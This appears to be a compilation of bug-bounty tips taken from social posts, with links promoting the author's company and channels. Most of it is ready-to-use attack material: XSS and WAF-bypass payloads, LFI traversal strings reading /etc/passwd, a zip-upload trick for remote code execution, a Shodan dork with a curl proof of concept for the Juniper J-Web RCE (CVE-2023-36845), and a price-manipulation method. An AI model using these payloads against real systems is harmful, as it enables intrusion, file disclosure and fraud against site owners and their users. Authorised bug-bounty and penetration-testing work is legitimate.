Bug bounty Tips

bypass alert ==> alert;[alert][0].call(this,1) #xss #web #bypass #bugbountytips

1. How to find Origin IP 2. NucleiFuzzer = Nuclei + Paramspider 3. CRLF injection allow => cookie injection in root domain & xss| 4. How to Find XSS in Wide Scope 5. Remote Code Execution | A Story of Simple RCE on Jenkins Instance. 6. Defeat the HttpOnly flag to achieve Account Takeover | RXSS 7. Discovering Login Panels and Detecting SQL Injection with Logsensor 8. Automating web pentesting with jaeles scanner 9. Afrog scanner for bug bounty hunters 10. RCE via Dependency Confusion 11. How to Get Unique Subdomains on Large scope 12. Expose domains over Akamai or Cloudflare with HEDnsExtractor and httpx #bugbountytips

Some filter bypass payload list while hunting for LFi vulnerability →index.php?page=....//....//etc/passwd →index.php?page=..///////..////..//////etc/passwd →index.php?page=/var/www/../../etc/passwd

Bug Bounty Hunting Tip :- If you can upload .zip file on target then: 1. Create a .php file (rce.php) 2. Compress it to a .zip file (file.zip) 3. Upload your .zip file on the vulnerable web application. 4. Trigger your RCE via: ( https://<target Site>.com/index.php?page=zip://path/file.zip#rce.php )

A nice way to store the payload "><script>eval(new URL(document.location.href+"#javascript:confirm(69)").hash.slice(1))</script> A payload to bypass Akamai WAF <A href="javascrip%09t&colon;eval.apply${[jj.className+(23)]}" id=jj class=alert>Click Here

CSP Protection Bypass (using Google domain) /o/oauth2/revoke?callback=alert(1);console.log

Bug Bounty Reminder Don't forget about the $element\; for\; XSS\; WAF\; bypass\; on\; Firefox\; browser.$ Click\; Me$The$ can\; make\; any\; HTML\; element\; clickable\; within\; it.$$

Check out my company website. Cipherops.tech

Join my WhatsApp channel on hacking and tech tips https://whatsapp.com/channel/0029Va9Xem2EQIakni6dZp1A

Juniper J-Web - Remote Code Execution 🔥 - CVE-2023-36845 Nearly 14,000 Juniper devices are affected, as a search on Shodan shows: Dork : title:"Juniper" http.favicon.hash:2141724739 Poc: curl <TARGET> -F $'auto_prepend_file="/etc/passwd\n"' -F 'PHPRC=/dev/fd/0' Here is a vulnerability scanner that has been specially developed to spot this vulnerability or you can also use Nuclei: https://lnkd.in/gEQrmXev For more information: https://lnkd.in/gRP3uXTm #hacker_bano_chutiya_nhe

Bug bounty Guide 2023 | Quick Start Your Bug Bounty Journey https://youtu.be/Z1VFoBzJZuA

#bugbountytips Having trouble with a WAF? For POST/PUT/PATCH requests, try inserting a useless parameter with between 8KB to 10MB of random data BEFORE your malicious payload. Many WAFs stop processing after X payload characters, allowing anything AFTER that through the WAF use this website frequently to generate the easy to insert payloads (copy and paste): https://onlinefiletools.com/generate-random-text-file Credit : ZwinK

OS Command Injection 🕸🔖 Allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application leads to fully compromising the application and all its data. Thread 🧵 : 👇 https://twitter.com/Aacle_/status/1629700693530640385?s=20

Price Manipulation Method If the product price parameter cannot be changed, change the quantity of products. items[1][quantity]=1 --> 234 € items[1][quantity]=0.1 --> 23.4 € #bugbountytips #bugbountytip #bugbounty #cybersecurity #ethicalhacking